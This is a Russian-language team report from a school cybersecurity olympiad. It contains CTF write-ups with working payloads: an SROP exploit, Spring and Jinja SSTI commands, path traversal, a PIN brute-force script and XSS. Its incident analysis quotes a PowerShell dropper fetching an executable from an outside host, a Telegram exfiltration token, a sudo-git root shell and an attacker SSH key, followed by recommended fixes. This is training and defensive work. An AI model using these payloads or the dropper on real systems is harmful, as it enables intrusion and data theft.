# Отчет о проделанной работе

# Информационная безопасность 2023/2024

#### енотики

Порхунов Арсений Вячеславович, aporkhunov@yandex-team.ru

Герасименко Яна Васильевна, <u>yanagerasimenko@bk.ru</u> Борозенец Егор Владиславович, <u>borozenets2006@mail.ru</u> Кудрявцев Кирилл Александрович, <u>kir.kud@inbox.ru</u>

### Наступательная кибербезопасность

#### Crypto 30

Нам дана система 10 полиномиальных уравнений 17 степени от 3 переменных. Просто найдем их GCD через базис гребнера, получим параметры LCG и затем флаг

#### Crypto 20

Классическая атака Полига-Хеллмана на ЕСС, когда мы ищем маленькие простые делители порядка кривой и восстанавливаем dlog.

```
from sage.all import *
from sage.rings.factorint import factor_trial_division
from cysignals.alarm import alarm, AlarmInterrupt, cancel alarm
import telnetlib
import ison
import time
import ast
from sage.all import *
io = telnetlib.Telnet('192.168.12.13', int(1228) )
time.sleep(4)
print(io.read_very_eager())
jses = []
for i in range(70):
  io.write(b'get task\n')
  recv = io.read until(b'\n')
  # print(recv)
  js = ast.literal_eval(recv.decode().strip())
  jses.append(js)
  print(i)
print('done')
mods = []
```

```
vals = []
powers = []
M = 1
ords = []
o = 0
dct = \{\}
for js in jses:
  a = js['a']
  b = js['b']#randrange(2**128)
  #randrange(2**128)
  p = js['p']
  E = EllipticCurve(Zmod(p), [a, b])
  G = E.lift_x(Integer(js['G.x']))
  P = E(Integer(js['P.x']),Integer(js['P.y']))
  try:
     alarm(15)
     ord = G.order()
     if ord != P.order():
        cancel alarm()
        print('plox')
        continue
     ords.append((o,ord))
     fs =list(factor_trial_division(ord,2^20))[:-1]
     print(fs)
  except AlarmInterrupt:
     print('giga plox')
     o+=1
     continue
     cancel_alarm()
     0+=1
  sub_ms = []
  sub vls = []
  for i,pw in fs:
     if pw>=2:
        continue
     p = i^*pw
     if i not in mods:
        M*=p
        mods.append(i)
        vals.append(pw)
        aboba = Integer(ord/p)
        Gt = aboba*G
        Pt = aboba*P
        lg = discrete_log(Pt,Gt,operation='+')
        print(Pt==Ig*Gt)
        print('mod log',p,lg)
        vals.append(lg)
        dct[i] = [lg]
        # for lg in range(p):
            if Gt*lg ==Pt:
        #
               vals.append(lg)
               print('mod val', i,lg)
```

```
#
               break
        # else:
        #
            print('not found')
     else:
        aboba = Integer(ord/p)
        Gt = aboba*G
        Pt = aboba*P
        lg = discrete log(Pt,Gt,operation='+')
        print(Pt==Ig*Gt)
        print('mod log',p,lg)
        print('need', vals[mods.index(p)])
        if Ig not in dct[i]:
          dct[i].append(lg)
  if M>2**320:
     break
  # print(int(CRT_list(vals,[mods[i]**powers[i] for i in
range(len(mods))])).to_bytes(320//8,'big'))
  print(vals)
  print(mods)
  print(dct)
ms = []
vs = []
for k,v in dct.items():
  if len(v)==1:
     ms.append(k)
     vs.append(v[0])
res = CRT_list(vs,ms)# nto{50mb0dy_45k3d_m3_f0r_d1scr3t3_l0g_2}
print(int(res).to_bytes(320//8,'big'))
```

#### Crypto 10

```
import requests
for pin in range(100001):
    if requests.post('http://192.168.12.12:5000/api/EncryptPin',
    json={"pin":str(pin)}).json()['encrypted_pin'] ==
    requests.get('http://192.168.12.12:5000/api/EncryptedPin').json()['encrypted_pin']:
        print("FOUND", pin)#3561
        break
        print(pin)
```

брутим пин,захотим под ним и забираем флаг

#### Web 10

В исходниках странички находим: <a href="http://192.168.12.10:5001/download?file\_type=file1.txt">http://192.168.12.10:5001/download?file\_type=file1.txt</a> с текстом: maybe in etc/secret ???

делаем запрос на <a href="http://192.168.12.10:5001/download?file-type=../../../etc/secret">http://192.168.12.10:5001/download?file-type=../../../etc/secret</a>

получаем флаг: nto{P6t9\_T77v6RsA1}

#### **Web 20**

Декомпилируем предоставленный јаг файл и видим два эндпоинта - /login с query-параметром password и /doc/{...}, который еще не имплементирован. Во втором замечаем, что допустима SSTI из-за уязвимости в фреймворке Spring. Получаем запрос следующего вида:

http://192.168.12.13:8090/doc/\_\_\$%7Bnew%20java.util.Scanner(T(java.lang.Runtime).get Runtime().exec(%22touch%20pwned%22))%7D\_\_::.x

Ответ на команду получить уже не так легко, решаем вернуться к изучению логики работы приложения. Замечаем, что пароль для эндпоинта /login читается из файла password.txt, а если его нет, берется стандартный пароль password. С помощью найденной выше уязвимости удаленного исполнения кода удаляем файл password.txt, после чего заходим на /login с паролем password, получая флаг: nto{abobovichasdfas}.

#### Web 30

Для решения данной задачи было два вектора решения. Оба из них имеют одинаковое начало. Зайдя на сайт замечаем форму и заходим смотреть source code. Обнаруживаем, что некоторые символы и слова фильтруются. Это указывает на Jinja SSTI. Замечаем, что символы фигурных скобок на самом деле не фильтруются, так как используется регулярное выражение \w+. Далее видим, что вебсервер фильтрует запросы на эндпоинт, на котором есть SSTI. Для этого решаем воспользоваться другой уязвимостью - HTTP Smuggling, манипулируя значением Content-length. Тем не менее, так как таск был рассчитан на 120+ человек, получить запрос было тяжело. Поэтому было принято решение искать другой вектор. Им оказался миссконфиг, позволяющий добавить один слэш. В конфиге haproxy видим следующую строчку:

acl restricted page path beg,url dec -i /flag

Эта строчка проверяет, что путь начинается со /flag, вне зависимости от регистра. При этом для Flask валидным путем является и путь, начинающийся с двух слешей - //flag, который спокойно проходит проверку фильтром и попадает на уязвимый эндпоинт Flask. Далее с помощью несложной инъекции:

http://192.168.12.11:8001//flag?name={{%20cycler.\_\_init\_\_.\_globals\_\_.os.popen(%27cat %20flag.txt%27).read()%20}}

получаем флаг: nto{Ht1P\_sM088Lin6\_88Ti}.

#### Pwn 10

После реверс-инжиниринга приложения видим, что строка, читаемая из стандартного ввода, сразу выводится в стандартный вывод с помощью printf, без какой-либо сериализации:

```
char local_418 [1032];
fgets(local_418,0x400,stdin);
printf(local_418);
```

Таким образом, программа уязвима к инъекции форматной строки. Также в программе есть функция win, которая запускает оболочку bash. Таким образом, с помощью найденной выше уязвимости, можно подменить адрес функции exit, которая вызывается в конце, на адрес функции win. С помощью pwntools формируем следующий эксплоит:

В корне системы лежит файл с флагом: nto{easy\_formt\_string}.

#### Pwn 20

```
https://github.com/ElikBelik77/ctfs-writeups/blob/master/offshift/moving signals/exploit.py
from pwn import *
elf = context.binary = ELF("./task")
context.log_level = logging.DEBUG
context.terminal = ["tmux", "splitw", "-h"]
def do debug():
       return gdb.debug(elf.path, gdbscript = """
                                                            break *0x41000
("""
def do_local():
       return process(elf.path)
def do remote():
       return remote('192.168.12.13',1555)
pop_rax = 0x41018
start offset = 0x41000
syscall ret = 0x41015
#p = do debug()
```

```
#p = do local()
p = do remote()
\#payload = b"A"*8 + p64(pop rax) + p64(pop rdi) + p64(0x41005) + p64(pop rax) +
p64(ret) +\
#p64(0x41005) + p64(pop_rax) + p64(push_rsp) + p64(0x41005) + p64(pop_rax) + 
#p64(0x41000) + p64(pop_rdi) + p64(start_offset)
payload = b"A"*8 + p64(pop_rax) + p64(15) + p64(syscall_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x41025
frame.rdx = 0x300
frame.rsp = 0x41025
frame.rip = syscall ret
payload += bytes(frame)
p.send(payload)
input("...")
payload = p64(pop rax) + p64(15) + p64(syscall ret)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x41025+248 + 0x18
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x41000
frame.rip = syscall_ret
payload += bytes(frame) + b"/bin/sh\x00"
p.send(payload)
p.interactive()
```

Базовая эксплуатация SROP.

#### Reverse 10

```
#https://github.com/221294583/crc32/blob/master/vid.py
import copy
crc32 table polyrev=[]
poly rev=0xedb88320
for byte in range(256):
       operator=copy.copy(byte)
       for bit in range(8):
       if (operator&0x1)!=0:
       operator>>=1
       operator^=poly rev
       else:
       operator>>=1
       crc32_table_polyrev.append(operator)
def crc32_polyrev(line):
       var=0xfffffff
       for ch in line:
       operator=ord(ch)
       operator=(operator^var)&0xff
       print(operator)
       var=crc32_table_recip[operator]^(var>>8)
```

```
return var^0xfffffff

from zlib import crc32

table = dict()

for i in range(256):
    for j in range(256):
        r = bytes([i,j])
        table[crc32(r)]=r

arr =[ 0xEDCFE1F3, 0x646BCD23, 0x50F9AD57, 0xF299B1E1, 0xC6A9B6E4,
0x3280614C, 0x93772B02, 0xAB2C3A43, 0x2A0D936A, 0x1BFA14D4, 0x255D6F2F,
0xC447F66B, 0x5AD96CF5, 0xE964AD12]

b".join(table[i] for i in arr)
```

Нашли обратную таблицу CRC32 и переписали алгоритм на Python

# Расследование инцидента Часть 1 (Windows)

#### Каким образом вредоносное ПО попало на компьютер пользователя?

Пользователь получил письмо с почты <u>j.nathan@microsoft.com</u> с темой NDA Documents и архивом classified.rar во вложении. Там содержалась pdf, которая запускала cmd скрипт следующего содержания:

```
cd %~dp0
@powershell -command "($drop=Join-Path -Path $env:APPDATA -ChildPath Rjomba.exe);(New-Object System.Net.WebClient).DownloadFile('http://95.169.192.220:8080/prikol.exe', $drop); Start-Process -Verb runAs $drop" & TOP_SECRET.pdf
```

Этот запуск также был замечен в просмотрщике событий Windows.

#### С какого сервера была скачана полезная нагрузка?

С вебсервера по адресу http://95.169.192.220:8080 был скачан файл prikol.exe, который был помещен в папку AppData/Roaming под названием Rjomba.exe

#### С помощью какой уязвимости данное ВПО запустилось? В каком ПО?

Уязвимость в WinRAR (CVE-2023-38831) позволяла замаскировать исполняемый скрипт под любой другой файл с помощью добавления пробела перед расширением и папки с названием, равным названию файла: <a href="https://habr.com/ru/articles/797127/">https://habr.com/ru/articles/797127/</a>

#### Какие методы противодействия отладке использует программа?

Она зашифровывает строчки простым алгоритмом, который мы инвертили:

```
void FUN_14004fac4(undefined4 param_1)

{
    code *pcVar1;
    BOOL BVar2;
    LONG LVar3;
    PRUNTIME_FUNCTION FunctionEntry;
    undefined *puVar4;
    undefined8 in_stack_00000000;
    DWORD64 local_res10;
    undefined local_res18 [8];
```

```
undefined local_res20 [8];
 undefined auStack1480 [8];
 undefined auStack1472 [232];
 undefined local_4d8 [152];
 undefined *local_440;
 DWORD64 local 3e0;
 puVar4 = auStack1480;
 BVar2 = IsProcessorFeaturePresent(0x17);
 if (BVar2 != 0) {
  pcVar1 = (code *)swi(0x29);
  (*pcVar1)(param_1);
  puVar4 = auStack1472;
}
 *(undefined8 *)(puVar4 + -8) = 0x14004faf8;
 FUN_14004fabc(3);
 *(undefined8 *)(puVar4 + -8) = 0x14004fb09;
 FUN_140087060(local_4d8,0,0x4d0);
 *(undefined8 *)(puVar4 + -8) = 0x14004fb13;
 RtlCaptureContext(local_4d8);
 *(undefined8 *)(puVar4 + -8) = 0x14004fb2d;
 FunctionEntry =
RtlLookupFunctionEntry(local_3e0,&local_res10,(PUNWIND_HISTORY_TABLE)0x0);
 if (FunctionEntry != (PRUNTIME FUNCTION)0x0) {
  *(undefined *)(puVar4 + 0x38) = 0;
  *(undefined **)(puVar4 + 0x30) = local_res18;
  *(undefined **)(puVar4 + 0x28) = local_res20;
  *(undefined **)(puVar4 + 0x20) = local_4d8;
  *(undefined8 *)(puVar4 + -8) = 0x14004fb6e;
  RtlVirtualUnwind(0,local_res10,local_3e0,FunctionEntry,*(PCONTEXT *)(puVar4 +
0x20),
            *(PVOID **)(puVar4 + 0x28),*(PDWORD64 *)(puVar4 + 0x30),
```

```
*(PKNONVOLATILE_CONTEXT_POINTERS *)(puVar4 + 0x38));
}
local 440 = \text{\&stack}0x00000008;
*(undefined8 *)(puVar4 + -8) = 0x14004fba0;
FUN 140087060(puVar4 + 0x50,0,0x98);
*(undefined8 *)(puVar4 + 0x60) = in_stack_00000000;
*(undefined4 *)(puVar4 + 0x50) = 0x40000015;
*(undefined 4 *)(puVar 4 + 0x54) = 1;
*(undefined8 *)(puVar4 + -8) = 0x14004fbc2;
BVar2 = IsDebuggerPresent();
*(undefined **)(puVar4 + 0x40) = puVar4 + 0x50;
*(undefined **)(puVar4 + 0x48) = local_4d8;
*(undefined8 *)(puVar4 + -8) = 0x14004fbdf;
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)0x0);
*(undefined8 *)(puVar4 + -8) = 0x14004fbea;
LVar3 = UnhandledExceptionFilter((_EXCEPTION_POINTERS *)(puVar4 + 0x40));
if ((LVar3 == 0) && (BVar2 != 1)) {
 *(undefined8 *)(puVar4 + -8) = 0x14004fbfb;
 FUN_14004fabc(3);
}
return;
```

Еще программа убивает некоторые логгеры запросов (wireshark, tshark) и дебаггеры (taskmgr, gdb, x64dbg).

#### Какой алгоритм шифрования используется при шифровании данных?

**AES CBC** 

#### Какой ключ шифрования используется при шифровании данных?

```
from binascii import unhexlify as unhex
from base64 import b64decode as bb
from Crypto.Cipher import AES
def dec(st):
  a = len(st)
  v2 = 0
  v4 = list(st)
  while v2<a:
    v5 = 50 * (v2 // 0x32)
    v6 = v2
    v2+=1
    v4[v2-1] = v4[v2-1] \wedge (v6 - v5 + 54);
  return bytes(v4)
def decrypt arr(arr):
  return dec(b".join(map(lambda x:unhex(x)[::-1], arr)))
encs = list(map(bb, open('./senddocument.txt').read().split('\n')))
encs[-1]
# strs = [b'amogus'*5+b'am', b'ab'*8,b'sugoma'*5+b'su']
# for i in range(len(strs)):
    for j in range(len(strs)):
#
      iv,key = strs[i],strs[j]
#
      cipher = AES.new(key, AES.MODE CBC, iv=iv)
       print(iv,key,cipher.decrypt(enc[-1]))
iv,key = b'abababababababab',b'amogusamogusamogusamogusamogusam'
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
cipher
```

# Куда злоумышленник отсылает собранные данные? Каким образом он аутентифицируется на endpoint?

Исследовав поведение малваря, при помощи Charles, мы выяснили, что ВПО обращается на эндпоинт, указанный ниже. Отсылает шифрованные данные в файле info.txt. Имя бота: some\_forensics\_testing\_bot. Аутентификация с помощью ключа с помощью токена в URL:

https://api.telegram.org/bot7029575943:AAFNYmmW\_QqqMcaHZ-DFRn3M05DptExeAG E/sendDocument

#### Каково содержимое расшифрованного файла pass.txt на рабочем столе?

K0uvQoK4IHyTxMGgFXcWFdYEPqZzSTO8G79diypFSIU= -> "sFYZ#2z9VdUR9sm`3JRz"

## Часть 2 (Linux)

#### Какой сервис на данном сервере уязвим? Какая версия?

На данном сервере уязвима версия gitlab v15.2.2, CVE-2022-2884

#### Какой тип уязвимости использовал злоумышленник?

Данная CVE позволяет удаленно выполнить код на сервере -> уязвимость RCE. В ходе анализа файлов логов gitlab были обнаружены запросы к уязвимому endpoint api/v4/import/github

#### Какие ошибки были допущены при конфигурации сервера?

Файл /etc/sudoers:

# I need this to have gitlab runners execute properly

# This is not very secure and will fix it later.

# Hope nobody will sploit me...

# git ALL=NOPASSWD: /usr/bin/git

Таким образом, sudo на git было доступно всем, что позволяло повысить привилегии.

#### Как злоумышленник повысил привилегии?

Оболочку можно было получить так:

sudo git -p help config

!/bin/sh

При этом злоумышленник просто добавил свой ssh-ключ в авторизованные для пользователя root с помощью команды sudo git apply.

#### Как злоумышленник получил доступ к серверу на постоянной основе?

В файле /root/.ssh/authorized\_keys была обнаружена следующая строчка:

ssh-ed25519

AAAAC3NzaC1IZDI1NTE5AAAAIIKXFjUp2LIKAsLvM1PZE7CYEfztiZrOf8PHx9ja1mu2 amongus@debian

Это позволяет злоумышленнику на постоянной основе подключаться по SSH от пользователя root.

#### Как злоумышленник просканировал систему?

В истории пользователя root есть удаление файла /tmp/linpeas.txt - результатов известного сканера системы, который был использован.

#### С помощью какого ВПО злоумышленник закрепился на сервере?

В директории /root есть скрипт autokitter.sh, создающий два so файла - jynx2.so (reverse-shell, работающий с паролем и через ssl) и reality.so (библиотека со

вспомогательными функциями). В этом скрипте есть исходные коды этого шелла, закодированные в base64.

# **Исправление уязвимостей Рекомендации**

- 1) response.headers.add("Access-Control-Allow-Origin", "\*") является уязвимостью, т.к. не имеет ограничений относительно кросс-доменов. Может привести к атакам типа CSRF (межсайтовая подделка запросов) и миссконфиг CORS. Рекомендуем ограничивать круг доменов, давая доступ только доверенным ресурсам.
- 2) Пароли в базе данных хранятся в открытом виде это видно и из кода, и из самой базы данных. Если внутренний нарушитель получит доступ к БД, он сможет использовать эти пароли. Безопасное решение: хранить пароли в базе данных в виде хеша с солью соль позволит избежать и быстрого перебора прообраза хеша грубой силой.
- 3) При смене пароля пользователя не обновляется токен, поэтому когда мы меняем пароль и есть активная сессия, то она не завершается. Исправление инвалидировать токен при смене пароля.
- 4) Информация о правах администратора хранится и проверяется в токене если снять с него права администратора или даже удалить аккаунт, по старому токену они будут доступны, так как не проверяются из базы данных.

#### **Уязвимости**

1) В функции updateLight не проверяется, что пользователь - администратор. Исправление:

```
if error:
        code = HTTPStatus.UNAUTHORIZED
elif not ('isAdmin' in data) or not bool(data['isAdmin']):
        error = 'Доступ запрещен'
        code = HTTPStatus.FORBIDDEN
else:
```

2) 211 строка auth\_api.py - SQL injection:

```
sql_query = "UPDATE user SET pw = "" + str(new_password) + "" WHERE login = "" + str(username) + "";"
```

#### Исправление:

#### 3) уязвимость xss:

```
POST /api HTTP/1.1
Host: 10.10.29.10:8007
Content-Length: 62
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
ContentType: application/json
Authorization: Bearer
eyJhbGciOiJIUzI1NilsInR5cCl6IkpXVCJ9.eyJ1c2VybmFtZSl6InN0dWRlbnQ5NjQ2
MSIsImlzQWRtaW4iOmZhbHNILCJIeHAiOjE3MTEwMjQ0NTJ9.0Z4FVfK7qufJ011i
ddQ85Pc2joDlgbjiVqXyDHIYJog
```

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36

Content-Type: application/json Origin: http://10.10.29.10:8007

Referer: http://10.10.29.10:8007/lights Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Connection: close

{"function":"addNote","noteText":"<script> print() </script>"}

#### Исправление:

```
import html
noteText = html.escape(content['noteText'])
```

4) Если с админского аккаунта послать запрос на получение пользователей: /api?function=getUsers, api также возвращает пароли пользователей. При этом фронтенд их не отрисовывает, но api возвращает. Разглашать пароли даже администраторам небезопасно. Исправление: